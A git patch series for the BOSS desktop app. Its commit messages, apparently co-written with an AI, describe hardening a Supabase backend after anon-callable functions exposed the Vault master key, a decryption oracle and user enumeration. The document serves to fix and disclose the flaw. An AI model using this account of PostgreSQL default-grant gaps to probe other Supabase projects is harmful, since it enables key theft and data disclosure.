a/composeApp/src/commonMain/kotlin/ai/rever/boss/components/dialogs/ConfirmationDialog.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/components/dialogs/ConfirmationDialog.kt @@ -39,6 +39,7 @@ fun ConfirmationDialog( confirmColor: Color = BossTheme.colors.alert, // destructive onDismiss: () -> Unit, onConfirm: () -> Unit, + confirmEnabled: Boolean = true, ) { val colors = BossTheme.colors val radii = BossTheme.radius @@ -120,6 +121,7 @@ fun ConfirmationDialog( Spacer(modifier = Modifier.width(8.dp)) Button( + enabled = confirmEnabled, onClick = { onConfirm() onDismiss() diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/mcp/McpPolicyEngine.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/mcp/McpPolicyEngine.kt index 997e036547..2cf7355827 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/mcp/McpPolicyEngine.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/mcp/McpPolicyEngine.kt @@ -264,7 +264,8 @@ class McpPolicyEngine( * the caller's pre-check - otherwise a reset landing between the pre-check and the write * (BossConsole#542 review) persists a provider-wide grant the reset was supposed to * invalidate. All three are optional because this is also called with no tool in mind - * (tests, and any future non-approval-flow caller). + * (tests, and any future non-approval-flow caller). Supplying [expectedRevocation] + * requires [toolName]; without it the guard fails closed and returns false. */ fun setProviderPolicy( providerId: String, diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/DownloadServiceBridge.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/DownloadServiceBridge.kt index 9939574a52..b5b1641195 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/DownloadServiceBridge.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/kernel/services/DownloadServiceBridge.kt @@ -43,7 +43,7 @@ class DownloadServiceBridge( currentIdentity?.invoke() ?: throw StatusException(Status.PERMISSION_DENIED.withDescription(NO_IDENTITY)) provider.downloads.collect { downloads -> - // A stream must not retain access after its process token has been revoked. + // Revalidate at each emission; an idle subscription remains until emission or cancellation. if (currentIdentity?.invoke() != caller) { throw StatusException(Status.PERMISSION_DENIED.withDescription(NO_IDENTITY)) } diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/TerminalCommandApprovalDialogTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/TerminalCommandApprovalDialogTest.kt new file mode 100644 index 0000000000..81c7ad31f9 --- /dev/null +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/TerminalCommandApprovalDialogTest.kt @@ -0,0 +1,49 @@ +package ai.rever.boss.app + +import androidx.compose.ui.test.assertIsEnabled +import androidx.compose.ui.test.assertIsNotEnabled +import androidx.compose.ui.test.junit4.createComposeRule +import androidx.compose.ui.test.onNodeWithText +import androidx.compose.ui.test.performClick +import org.junit.Rule +import org.junit.Test +import kotlin.test.assertEquals +import kotlin.test.assertNull + +class TerminalCommandApprovalDialogTest { + @get:Rule + val rule = createComposeRule() + + @Test + fun `next identical request cannot be approved by an immediate second click`() { + val queue = TerminalCommandApprovalQueue() + queue.enqueue(PendingTerminalCommand("echo identical", null)) + queue.enqueue(PendingTerminalCommand("echo identical", null)) + var executions = 0 + rule.mainClock.autoAdvance = false + rule.setContent { + queue.current?.let { pending -> + TerminalCommandApprovalDialog( + request = pending, + pendingCount = queue.size, + onDismiss = { queue.consume(pending) }, + onConfirm = { if (queue.consume(pending)) executions++ }, + ) + } + } + rule.onNodeWithText("Run command").assertIsNotEnabled() + rule.mainClock.advanceTimeBy(600) + rule.onNodeWithText("Run command").assertIsEnabled().performClick() + rule.mainClock.advanceTimeByFrame() + rule.onNodeWithText("Run command").assertIsNotEnabled().performClick() + rule.runOnIdle { assertEquals(1, executions) } + rule.mainClock.advanceTimeBy(200) + rule.onNodeWithText("Run command").assertIsNotEnabled() + rule.mainClock.advanceTimeBy(400) + rule.onNodeWithText("Run command").assertIsEnabled().performClick() + rule.runOnIdle { + assertEquals(2, executions) + assertNull(queue.current) + } + } +} diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/TerminalCommandApprovalQueueTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/TerminalCommandApprovalQueueTest.kt index bab04b8e8e..f19cb85b63 100644 --- a/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/TerminalCommandApprovalQueueTest.kt +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/TerminalCommandApprovalQueueTest.kt @@ -7,6 +7,20 @@ import kotlin.test.assertSame import kotlin.test.assertTrue class TerminalCommandApprovalQueueTest { + @Test + fun `flood refuses tail without replacing displayed or queued commands`() { + val queue = TerminalCommandApprovalQueue() + val accepted = List(TerminalCommandApprovalQueue.MAX_PENDING) { PendingTerminalCommand("echo $it", null) } + accepted.forEach { assertTrue(queue.enqueue(it)) } + repeat(1000) { assertFalse(queue.enqueue(PendingTerminalCommand("overflow", null))) } + accepted.forEach { + assertSame(it, queue.current) + assertTrue(queue.consume(it)) + } + assertNull(queue.current) + assertTrue(queue.enqueue(PendingTerminalCommand("after drain", null))) + } + @Test fun `arrival while prompt is open preserves its command and working directory`() { val queue = TerminalCommandApprovalQueue() From 8e05bf63123556d14c97fa2ef5523f8a97160629 Mon Sep 17 00:00:00 2001 From: Shivang Date: Mon, 14 Sep 2026 01:00:19 -0700 Subject: [PATCH 14/28] fix(cli): log command holding only after enqueue succeeds --- .../ai/rever/boss/app/BossAppEventBusEffects.kt | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppEventBusEffects.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppEventBusEffects.kt index 97575a3b84..d06c568e31 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppEventBusEffects.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppEventBusEffects.kt @@ -145,13 +145,14 @@ internal fun BossAppEventBusEffects(state: BossAppState) { if (event.requiresConfirmation && command != null) { // Show the operator the command and let them decide; the // prompt in BossAppDialogs opens the terminal on confirm. - logger.info( - LogCategory.TERMINAL, - "Holding an externally requested terminal command for confirmation", - mapOf("windowId" to windowId), - ) val request = PendingTerminalCommand(command, event.workingDirectory) - if (!state.terminalCommandApprovals.enqueue(request)) { + if (state.terminalCommandApprovals.enqueue(request)) { + logger.info( + LogCategory.TERMINAL, + "Holding an externally requested terminal command for confirmation", + mapOf("windowId" to windowId), + ) + } else { logger.warn( LogCategory.TERMINAL, "External terminal command refused: approval queue full", From 3af8341a88b19ad790663c01e66c0461e7609d1a Mon Sep 17 00:00:00 2001 From: Shikhar Goel Date: Mon, 14 Sep 2026 13:54:06 +0530 Subject: [PATCH 15/28] fix(overlays): honor RTL and fractional placement (#477) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Stop anon reaching schema public by inheritance, and scope identity to real orgs The BOSS Supabase anon key is compiled into this repo, which is public. Anything `anon` can execute is therefore executable by anyone. Verified on 2026-09-08: * get_encryption_key() returned the Vault master encryption key, unauthenticated. decrypt_text() was anon-callable beside it, making a decryption oracle over everything encrypt_text protects - user secrets and the QBO/Google broker credentials. * find_user_by_email() confirmed any address and returned its uuid. * list_shareable_recipients() returned 152 users WITH full email addresses to any self-registered account, and 82 @risalabs.ai addresses on a search. * arcade_leaderboard() and arcade_bs_standings() published the roster of everyone who had opened the Arcade, unauthenticated. None of it was granted on purpose. PostgreSQL hardwires EXECUTE to PUBLIC on every new function, PUBLIC includes anon, and this project's default privileges add anon on top - so a SECURITY DEFINER function is internet-callable from the moment it is created. Both revokes are traps in mirror image: `from public` leaves the explicit anon grant, `from anon` leaves the hardwired PUBLIC one, and ALTER DEFAULT PRIVILEGES cannot remove the latter at all (pg_default_acl loses the entry and new functions still get `=X`). 20260908000000 event trigger: revoke PUBLIC+anon on every function created in schema public. An explicit `grant ... to anon` after the create still wins - anon access must be stated, never inherited. 20260908010000 org_visible_users / org_is_vetted / user_display_name: ONE definition of "may this account learn who that account is", shared by the Arcade and poker rather than copied. Vetted means a human approved the join, which excludes the catch-all `boss` org every account joins on signup (153 members, 20 domains). 20260908020000 route list_shareable_recipients through both. It was already org-scoped, which is why it looked right; it accepted ANY shared org. 20260908030000 one-time sweep of the ~30 functions that already had the inherited grant. The RBAC mutators fail closed (is_user_admin(NULL) is false), so this is defence in depth, not a patched escalation. The rule is a SET, not a per-target predicate: as a per-row qual it is pushed below a DISTINCT ON and evaluated once per underlying row - 2.7s over 29k score rows for 45 players, against 37ms. supabase/audit/identity_disclosure_audit.sql is the standing check, because "we fixed the leak" is not a durable claim. All four checks report HEALTHY. Left deliberately anon-callable, each documented where it is kept: the plugin store browse API, the three helpers called from RLS policies on anon-readable tables, and custom_access_token_hook. Verified after the sweep that anonymous plugin-store browse and signed-in RBAC reads both still work. Co-Authored-By: Claude Opus 5 (1M context) * Add the master-key rotation procedure, and rotate get_encryption_key() was anon-callable, so the Vault master_encryption_key was retrievable by anyone holding the project anon key - which ships compiled into this public repo. Revoking access does not un-disclose a key, so it was rotated on 2026-09-09 and the 184 rows encrypted under it re-encrypted. Scope of the original exposure, stated precisely because the capability was worse than the reach: decrypt_text() was anon-callable beside it, so an attacker holding ciphertext from ANY channel - a backup, an export, a screenshot - could decrypt it through the API without even needing the key. But no bulk read path to that ciphertext existed: qbo_token_state and google_token_state have no client grants at all, and all 178 secrets rows have org_id NULL, so the secrets policy reduces to owner-only. This was a serious latent vulnerability - one org-shared secret, one RLS slip, or anyone with backup access would have had plaintext - rather than a confirmed bulk disclosure. The script is kept because rotation is not a one-off. It is atomic (one DO block), self-verifying (md5 of every row's plaintext captured before, re-derived after through decrypt_text so the check covers both the swap and the data), and a mismatch or row-count drift raises and rolls back, so a broken rotation cannot commit. Verified after the run: the live key differs from the disclosed one, 184/184 rows decrypt under it, and the disclosed key opens 0 rows. The old key is retained in the Vault under an explicit name. Do NOT delete it while pre-rotation backups exist - they are encrypted under it. Co-Authored-By: Claude Opus 5 (1M context) * fix(db): close signed-in crypto access and verify visibility boundaries * test(db): exercise repeated key rotation and exact anonymous ACLs * test(db): grant fixture role membership on Supabase Postgres * test(db): inline rotation source for isolated pgTAP mounts * test(db): keep generated rotation SQL out of source control * fix(db): reserve identity-taking store mutators for the edge service * fix(db): serialize rotations without requiring direct Vault writes * fix(db): address review gaps in system-org and rotation coverage * test(db): verify core secrets across hex and broker-free rotations * test(db): execute standing audit and missing-signature regression * fix(db): enforce revoke postconditions and harden rotation verification * test(db): enable recovery metadata in the authenticated fixture * test(db): use the schema-supported authenticator type * Address remaining database review quality findings * Fix invoker view audit boolean parsing and test timestamp bounds * Rotate the TOTP envelope, exempt extension routines, and close the repo/prod drift Addresses the handoff's database-integration item and the substantiated findings from the current-head review. Everything below was executed against the PR's own Supabase preview branch, not asserted from reading. **The blocker: rotation refused to run once #417 landed.** The guard was a blanket "TOTP is installed, refuse everything". It is now an adapter. The stored form is 'v1:' || encrypt_text(...) - same cipher, same key, only the framing differs - so the column map gained an envelope prefix and rotates like the rest once the prefix is stripped and re-applied. Three things this needed that reading the diff would not have shown: * #417's trigger RAISES on a v1: value ('TOTP input must be plaintext, not a storage envelope'), so the re-encryption update is rejected outright. The reviewed trigger is now disabled for the update and restored after, inside the same transaction. * safe_decrypt_recovery_codes returns jsonb, not text, so verification through the real read path needed a cast. Both fingerprints now go through each column's OWN application read path rather than decrypt_text, which also removes the step-1/step-5 asymmetry raised as U5. * a step 0 pre-check reports rows that are already unreadable, instead of letting a safe_decrypt_* NULL surface at the end as "a row was missed". The rejection contract is preserved, not removed: an unknown envelope version, an unmapped safe_decrypt_* wrapper, or an unreviewed BEFORE trigger on a mapped table each still refuse. All three are now regression-tested, along with the recovery-code column that was previously never exercised (its fixture was vacuous - create_secret writes no secret_metadata row without p_twofa_enabled). Verified: three consecutive rotations, TOTP/recovery/password all intact, v1 envelope preserved, trigger re-enabled and still enforcing its own contract. **CREATE EXTENSION was impossible.** The fail-closed guard aborted the first routine of any extension installed into public: `create extension pgtap` failed with "Anonymous EXECUTE remains on public.pg_version()". A guard that forces operators to disable it in order to install an extension is a guard that ends up disabled. Extension-owned routines are now exempted with a warning, and the exposure stays visible as advisory CHECK 1x rather than vanishing - it reports pgtap (1079) on the preview. The sweep skips them too: pgcrypto-style helpers are called from column DEFAULTs and CHECK constraints, which are evaluated with the DML role's privileges. No extension owns a function in public on a clean database, so no deployed behaviour changes. **The repo was weaker than production.** find_user_by_email, get_session_status and update_api_key_last_used were locked down on the live project on 2026-09-08 but never captured as a migration, so a fresh deploy re-opened them. find_user_by_email is a user-enumeration oracle over auth.users and signup is open. The standing audit caught this itself on the preview - CHECK 2 named it - which is the drift that check exists for. Both remaining callers use SUPABASE_SERVICE_ROLE_KEY, verified on this branch, so service_role keeps EXECUTE and neither path changes. Also: the guard no longer hard-fails on a database without the Supabase roles (a plain restore), and the vault fixtures no longer assume the key is absent (U3) - both suites failed outright on any database that already had one. Retained-key assertions measure this run's delta instead of an absolute count. Suites on the preview: rotation 16/16, db access audit, and visibility 54/54 all clean; the standing audit reports no failing gated check. Co-Authored-By: Claude Opus 5 * Exercise the anonymous read path, not just the grant The keep-list assertions only checked has_function_privilege for the seven allowlisted signatures. That proves the grant, not the path: an RLS policy expression is evaluated as the QUERYING role, so revoking a policy helper turns an anonymous SELECT into 'permission denied for function ...' rather than an empty result, and no privilege assertion can see it. The seeding is the part that matters. A policy expression runs PER ROW, so on an empty table it is never evaluated - and plugins and user_roles are both empty on a fresh database, which made the first version of this probe pass no matter what had been revoked. Caught by trying to make it fail. Sensitivity is stated from measurement, not assumption: with a row present, revoking can_view_plugin_row from anon does fail the probe and revoking authorize does not, because permissive policies are ORed and short-circuit. A helper in a policy that never has to be evaluated cannot be detected this way by any test, so the comment says so rather than implying broader coverage. Co-Authored-By: Claude Opus 5 * Make the gated audit checks and the test generator provable Both halves of this are the same failure: a suite that is green while proving nothing. I hit that twice writing the previous commits - a recovery-code fixture over a secret_metadata row create_secret never wrote, and an anonymous-read probe over an empty table whose RLS policy therefore never evaluated - so these are not hypothetical. Finding 6. The four CI-GATED checks (1, 1b, 4, 5) only ever asserted HEALTHY, while every advisory check already had a fixture-based detection test. An inverted `not exists`, a wrong role literal or a typo in the evtenabled test would have left the gate permanently green. Each is now broken deliberately and asserted to report it: a routine granted to anon AFTER creation (which is how one gets past the event trigger), a revoked deliberate anonymous grant, a disabled event trigger, and a crypto routine exposed to authenticated. They have teeth by construction - the assertion is that the finding appears, so a broken audit query fails them. Finding 8. The generator gained --check, which regenerates in memory and compares without writing, and orphan removal for a generated suite whose .sql.in has been renamed or deleted - that file otherwise keeps being executed forever with stale content. Orphans are identified by a provenance banner rather than a hard-coded list, so a hand-written suite is never touched; verified that explicit_anon_and_org_visibility_test.sql is untouched. Each guard was proven by making it fire: a hand edit and a planted orphan are both reported by --check, and generate removes the orphan. CI now runs generate and --check as their own step, so a preparation failure is visible in the log instead of being attributed to the test run. Preview: rotation 16/16, db access audit 15/15, visibility 56/56. Co-Authored-By: Claude Opus 5 * Announce every project change, not only the plugin-initiated ones Panels could come up empty and stay empty, and the reason was that the startup restore told no one. ProjectChangeEvent was published from ProjectDataProviderImpl.selectProject, which is the path a PLUGIN takes. The two callers that matter most bypass it: WorkspaceApplier.applyWorkspace calls windowProjectState.selectProject directly when it restores the workspace, and BossTopBar's picker goes through selectProjectInWindow. Neither published anything. The ordering that produced the empty panel: DefaultPlugin is constructed in a DisposableEffect keyed on registries and window state, not on selectedProject, and it kicks off the plugin scan asynchronously while BossAppScaffold composes and the sidebar builds panels immediately. The restore meanwhile waits on WorkspaceManager's sequential Dispatchers.IO JSON reads. When those reads are slow the panel is built first, reads the "" that WindowProjectState seeds itself with, and renders its no-project state. The restore then lands, silently, and nothing remounts the cached component. Publishing from the state itself rather than from one caller catches all three. The bus is MutableSharedFlow(replay = 0), so a publish that never happens cannot be recovered by a later subscriber - which is why this could not stay per-caller. The publish is removed from selectProject rather than added alongside the collector; keeping both would double-fire on the plugin path. previousPath is seeded from the current value so the StateFlow's replay of it is not announced as a change. That seed is "" at startup, and telling every plugin the project just became "" moments before the real restore arrives is precisely the clear-yourself signal worth avoiding. One collector per window: projectDataProvider is `by lazy` on DefaultPlugin, which is per-window, so this cannot stack. Co-Authored-By: Claude Opus 5 (1M context) * Publish from the state's own callback, not from a lazily-built provider The review's finding 1: observing `selectedProject` from `ProjectDataProviderImpl` put the fix behind two `by lazy` initializers. `projectDataProvider` and `applicationEventBus` are both lazy on `DefaultPlugin`, and the second is the only host path that creates the bus at all. So the collector started only if some plugin touched both before the workspace JSON reads finished - and "the reads are slow" is the premise of the bug. Touched after the restore, the collector seeds to the restored path and announces nothing; never touched, no caller is announced at all. The announcement now hangs off the `ProjectSelectionCallback` that `WindowProjectStateRegistry` installs when it builds the window's state, which `BossAppState` does eagerly in composition. `WindowProjectState.selectProject` is the sole mutator of the selection and invokes that callback synchronously, so every caller is covered with no coroutine, no scope and nothing lazy in the path. Being synchronous also makes `previousProjectPath` a faithful history rather than best-effort: there is no StateFlow conflation to collapse A -> B -> C into A -> C. The two registry entry points carried a copy of the wiring each; they now share one `newState`, so the announcement cannot be installed on some windows and not others. Finding 1's third mitigation, which is a hole of its own: `publishSystemEvent` was a no-op whenever the bus had not been created, so on a build where no installed plugin had touched `applicationEventBus` yet, no host event existed - not `ProjectChangeEvent`, not `AuthEvent`, not `TabEvent` - and with `replay = 0` none could be recovered. It now creates the bus instead of dropping. `getInstance` also re-checks the registry on every call rather than only at creation, so an instance that exists while the registry is empty can no longer strand the host's publisher. Findings 2 and 3: `ProjectDataProviderImpl` implements `DisposableProvider` and `DefaultPlugin.dispose()` releases it through a named delegate, alongside `logDataProviderDelegate` and `gitDataProviderDelegate`; its scope gets a `SupervisorJob`, matching `pluginScope`. Tests: `ProjectChangeAnnouncementTest` (6) pins a direct `selectProject` being announced, the previous-path chain, the seeding rule, the same-path suppression, both registry entry points, and the bus being created rather than dropping the event. Full `:composeApp:desktopTest` green: 3695 tests, 0 failures. `detekt ktlintCheck` clean. Co-Authored-By: Claude Opus 5 (1M context) * Round 2: honest bus wording, atomic previousPath, three more tests Review (1/2) and (2/2). 1. `publishSystemEvent` does not save the event it creates the bus for. Correct - no registered publisher means nobody holds the bus, so it has no subscribers and that first event still reaches no one. The comment, the test name and the PR body all claimed otherwise. Reworded to what it actually buys: the host stops being permanently silent while it waits for a plugin to touch `applicationEventBus`. 3. `previousPath` was check-then-act on a plain field, and `ProjectDataServiceBridge.selectProject` is a suspend gRPC handler with no hop to Main (verified: `KernelBootstrap` registers it, the bridge calls `provider.selectProject` directly). Now an `AtomicReference.getAndSet`, so the read and the write are one operation. 5. The registry read-modify-write moved back inside `synchronized(this)`. Both fields are in fact `@Volatile` in boss-plugin-api 1.0.87 (checked the pinned jar), but the lock is uncontended after the first call and removes the question. The bus-before-publisher ordering is now written down, including why a publish landing in that window loses nothing. 6. `initialPath` KDoc no longer describes a production scenario it cannot reach; it is documented as defensive and test-reachable, and defaulted to "". 7. Three tests added: - a plugin-initiated selection is announced exactly once (catches both a silent regression to zero and an accidentally re-added publish); - the registry test now asserts the recent-projects half of the callback ran - deleting it from `newState` previously left every test green; - `dispose()` stops the recent-projects collector, which is the whole reason `projectDataProviderDelegate` became a named lazy. `Dispatchers.setMain(UnconfinedTestDispatcher())` for the class: the provider collects on `Dispatchers.Main`, which has no implementation in a plain test JVM, so its collector silently never ran. Unconfined also makes the dispose test deterministic rather than a sleep. Smaller: `SupervisorJob` comment describes it as future-proofing (there is one collector); `systemEventBusScope` is `by lazy`; the KERNEL-mode consequence of disposing the provider is documented on `dispose()`. Not taken: `replay = 1` for `ProjectChangeEvent`. It would close the mirror race, but it changes `events()` semantics for every subscriber and every event type on a bus whose consumers are out of tree. The body now says the race is narrowed rather than closed, and names the api-side `selectedProject` StateFlow as what closes it. `:composeApp:desktopTest` 3697 tests, 0 failures. `detekt ktlintCheck` clean. Co-Authored-By: Claude Opus 5 (1M context) * Round 3: unconditional announcement, ordered publish, drop dead register Review 3. 2. AGENTS.md: a bullet in the canonical "what a third-party plugin can observe" paragraph, since this widens *when* a filesystem path reaches every installed plugin. 3. The `expect` KDoc still said "a no-op if the bus has not been created yet". Only the `actual` had been corrected. Fixed, and it now states the part that IS still best-effort: replay = 0 means an unsubscribed event is gone either way. 4. The announcement sat downstream of `ProjectState.updateRecentProjects`, so a throw there skipped it AND left `previousPath` stale - every later selection reporting a previous path one step behind, silently, for the session. Now `try { recents } finally { announce }`: order preserved for anyone reading recents off the event, the announcement unconditional, the throw still propagating. 5. `getAndSet` closed the read-modify-write but not the publish order, so two concurrent selections could emit out of order. `previousPath` and the publish are now in one `synchronized` block (the AtomicReference is gone - the lock subsumes it). The KDoc says plainly what this still does not settle: `WindowProjectState` writes `_selectedProject.value` then calls the callback with no atomicity, so state and last event can still disagree. Closing that means locking upstream. 6. `ProjectState`'s async `loadRecentProjects()` assigns `_recentProjects.value` wholesale and could land mid-test, dropping a just-added path - only where `~/.boss/recent-projects.json` exists, so a developer-machine-only flake. A once-per-JVM settle in `@BeforeTest` puts that single file read before any test. The test paths stay deliberately non-existent, now with a comment saying why: the fire-and-forget saves are unordered, and `loadRecentProjects` reclaims entries whose directory is gone, so a real temp directory would leak where these self-heal. 7. `register` deleted. No production caller (`BossAppState:299` uses `getOrCreate`), and it overwrote an existing entry - handing back a state with a fresh announcer seeded to "" for a window that already had a project. `newState` stays; it is what keeps the wiring from drifting. 8. `@Volatile` dropped from `ApplicationEventBusImpl.instance` - every access is inside the lock now, and leaving it reads as if a fast path survives. Also: a test for the actual regression path, `applyWorkspace` announcing the project it restores, rather than a comment claiming to imitate it. Answering the grep you could not run: the only `projectChanges()` consumers in boss_plugins are the two fluck-agent panels (`FluckAgentViewModel`), and both assign `_bossProject.value` and re-sweep - idempotent on a repeat. Nothing used the repeat publish as a reload nudge. Recorded in the announcer comment. Item 1 was already in the PR body from round 2 ("The startup race is narrowed, not closed"), naming the mirror case and the api-side StateFlow that closes it. `:composeApp:desktopTest` 3698 tests / 368 classes, 0 failures. `detekt ktlintCheck` clean. Co-Authored-By: Claude Opus 5 (1M context) * Round 4: split the dispose out, stop tests writing the real ~/.boss Review 4. Items 1 and 3 were the before-merge ones. 1. Verified: ProjectDataServiceBridge.watchRecentProjects collects provider.recentProjects, a StateFlow, so cancelling the provider's scope on window close leaves that gRPC stream open and silently frozen for every out-of-process plugin. Taking the first option and SPLITTING the dispose out. Note this reverses what round 1 asked for, and the justification changed rather than the opinion: once the announcement moved to the registry callback, ProjectDataProviderImpl went back to being exactly what it was before this PR, so the leak is pre-existing and unrelated to the subject. Closing it properly means the bridge reading ProjectState directly instead of a per-window provider, which is its own change. The reasoning is on the class so it is not re-fixed by accident. 3. Verified and worse than described: MAX_RECENT_PROJECTS = 10, so test entries evict real ones from the developer's picker and no cleanup restores them. systemProperty("user.home", /test-home) on the Test task. One run with it in place shows the existing suite was writing far more than recents to the real home - window-appearance-settings.json, keymap-settings.json, scrollbar-settings.json, recent-browser-pages.json, dashboard-stats.json and a ~/BossProjects/ directory all land in test-home now. The settle is gone with it: no recent-projects.json in test-home means the wholesale reload never happens. 2. publishSystemEvent now refuses the bus != null && systemPublisher == null state instead of falling through into a bus that may not be the registry's, with one warning rather than one per event. The comment at the fallback is true as written. 4. Both stale comments fixed (one construction path, not two). 5. hostProjectCallback(updateRecents, announcer) extracted so the try/finally claim is testable - ProjectState is an object, so a hard-coded call cannot be made to fail. 6. The publish-inside-the-lock trade is spelled out in the KDoc: what it buys (ordering), what it costs (an inline subscriber runs holding the lock inside selectProject), and that the contended path is untested. 7. The serial-execution dependency is recorded in the test class KDoc. Plus: multi-window isolation, and a test that makes the recents update throw. One thing this round caused and fixed: removing dispose() left two ProjectDataProviderImpl collectors alive on the test dispatcher. On a TestCoroutineScheduler a live coroutine is something every later runTest waits on, and the git classes timed out at 60s in full-suite runs while passing in isolation. Dispatchers.setMain(Dispatchers.Unconfined) rather than UnconfinedTestDispatcher(): same inline behaviour, not enrolled in a scheduler anyone else observes. It is also a real argument for the follow-up - without dispose() the provider cannot be constructed in a test without leaking. :composeApp:desktopTest 3699 tests / 368 classes, 0 failures. detekt ktlintCheck clean. Co-Authored-By: Claude Opus 5 (1M context) * Round 5: reset test-home per run, stop getInstance stealing a publisher Review 5. 1. Confirmed reproducibly - build/test-home/.boss/recent-projects.json was sitting there from the previous run. doFirst now deleteRecursively() before mkdirs(), so the home is fresh per run rather than merely private. Without it the redirect only helped the first run and ProjectState.init's load reintroduced the same race from the second. Verified by running the full suite twice back to back. 2. Right, and sharper than it looks: the guard tested `bus` but wrote both fields, and `systemPublisher != null && bus == null` is exactly what ProjectChangeAnnouncementTest, BrowserAnalyticsEmissionTest and BossTabsComponentMoveTest install. Guard now tests both, so getInstance cannot take a publisher away from whoever set it. 3. Test added for the warn-and-drop branch, asserting the DROP rather than the warning - partialRegistryWarned is a one-shot process global, so "it warns" is unassertable after the first test to trip it. Uses a stub bus so the half-registry state is real. 4. The re-entrancy hazard is now documented as SAFE and why (synchronized is reentrant, previousPath advances before the publish), so it is not "fixed" later. The lock-widens-a-UI-hang-to-a-cross-thread-one point is in the same block. 5. Taken, including the optional ones: - hostProjectCallback keeps both failures (addSuppressed) instead of letting finally discard the first. Needs @Suppress("TooGenericExceptionCaught") - catching Throwable is the contract, and both are rethrown. - ProjectDataProviderImpl takes an injectable dispatcher (default Dispatchers.Main). This removes the global setMain AND the round-4 collector leak at the source rather than working around them, without reopening the DisposableProvider split. - Three more pins: a null window state announces nothing, applyWorkspace (restoreProject = false) announces nothing, unregister + getOrCreate restarts the chain at "". Not taken, with reasons: jvmArgumentProviders (the current form works, is config-cache-serialisable and passed CI on three OSes); widening the user.home redirect to plugin-path-utils (its test only mkdirs a directory every BOSS user already has). There is no CHANGELOG in this repo, so the release-notes line for the same-path change is an action item at release time, not a file change. Flagged in the body. Two consecutive full runs: 3703 tests / 368 classes, 0 failures both times. detekt ktlintCheck clean - it caught two TooGenericExceptionCaught and a long line in this round's own code first. Co-Authored-By: Claude Opus 5 (1M context) * Address project announcement review feedback * fix(plugin-store): restrict plugin_downloads RLS to the server-side pipeline (#488) * Batch validation: promote latest reviewed dev changes to main (#463) * Fix #30: Resolve duplicate context menu label collisions * Cleanup: Remove dead code for #91 and #93 * chore: Sanitize SubmitResult.Error at construction rather than at one render site * Fix panel component lifecycle disposal * fixes * Guard panel lifecycle destruction failures * fix(logging): sanitize secret RPC failures and crash-report errors Three related gaps in what gets logged and shown when something fails: - SecretService.kt had no BossLogger in any of its ten catch blocks (#145). When the organisation migration broke all four secret RPCs (#144), the only WARN in the log came from the calling plugin - the code that actually failed said nothing. Every catch now logs via logger.warn(LogCategory.NETWORK, ...), reusing the already-sanitized failure for both the log and the returned Result rather than sanitizing twice. RoleService and RoleCreationService were checked and already log correctly - SecretService was the only silent one. - LogSanitizer.sanitizeExceptionMessage redacted a hostname only when it appeared inside a URL - a bare hostname (exactly what UnknownHostException.getMessage() produces, i.e. every DNS failure, and what a proxy-connect failure looks like) passed through untouched (#109). Added a narrow hostname pattern: lowercase-only labels ending in a short explicit TLD/`.internal`/`.local` list, with a negative lookahead so a package path that happens to end in a real TLD word mid-FQN (kotlinx.coroutines.internal.ScopeCoroutine, kotlinx.io.EOFException) is not mistaken for one - caught by the existing realistic-stack-trace test after the first version of the pattern redacted a live Kotlin package name out of it. - CrashReportService.SubmitResult.Error held a raw exception string, sanitized at exactly one render call site in CrashReportDialog (#110). The constructor is now private; SubmitResult.Error.of(...) is the only way to build one, and it sanitizes before the raw string can reach .message - a property of the type now, not something every future consumer (a copy button, a toast, a log line) has to remember on its own. Both construction sites (the service's two catch blocks, and the one in CrashReportDialog the issue names directly) now route through it. Tests: new coverage for the ten now-logging SecretService paths (via SupabaseWiringTest's existing sanitization-wiring guard, updated to recognize the "sanitize once into a local, reuse for log and return" shape SupabaseDataProviderImpl already used), six new LogSanitizerTest cases for the hostname fix (including the FQN/version-number false-positive guards), and a new CrashReportServiceTest for the sanitize-at-construction guarantee. * test(crash): extract construction tests from #404 Selected unchanged test file from Antriksh1984 original commit 99d2a5228023c541e825fe2714619c8228140369 (PR #404). Maintainer extraction only; subsequent API/scope adaptations are recorded separately. * chore(ipc): clarify advisory menu ID scope and fix formatting * chore(ui): finish obsolete toolbar comment cleanup * test(crash): adapt consolidated coverage and guard factory visibility Maintainer consolidation: use #311 companion invoke and a URL fixture instead of depending on #404 hostname redaction. Add private constructor/copy bytecode assertions. Preserve original contributor tests and implementation credit separately. * refactor(crash): consolidate construction sanitization in #311 Maintainer scope change: remove only the duplicate #110 implementation, retaining Antriksh1984 original #109/#145 work and commit history. Standalone construction tests are retained with attribution in #311; its Aditya8369 implementation supersedes Error.of. Keep render-time sanitization here until #311 merges and describe the remaining hostname coverage conservatively. * test(panels): retain sibling lifecycle isolation coverage from #313 Adapt the original #313 test to the #317 constructor and supply the missing panelInfo overrides. Original test scenario and assertions are by @rehannayeem0786; these compile adaptations are maintainer integration work. * fix(panels): complete lifecycle cleanup across failure and window teardown Destroy partially constructed panels and replacements that fail to resume. Continue downward lifecycle transitions after a failing pause or stop callback. Dispose panels before plugin teardown in the same callback rather than relying on sibling Compose effect order. Add regression coverage and adapt the retained #313 test bodies for detekt. These changes are maintainer follow-up to the original #313/#317 contributions. * docs(ui): remove stale disabled top-bar feature list * test(ipc): protect advisory menu item ID uniqueness * fix(panels): keep store registration scoped to its window effect 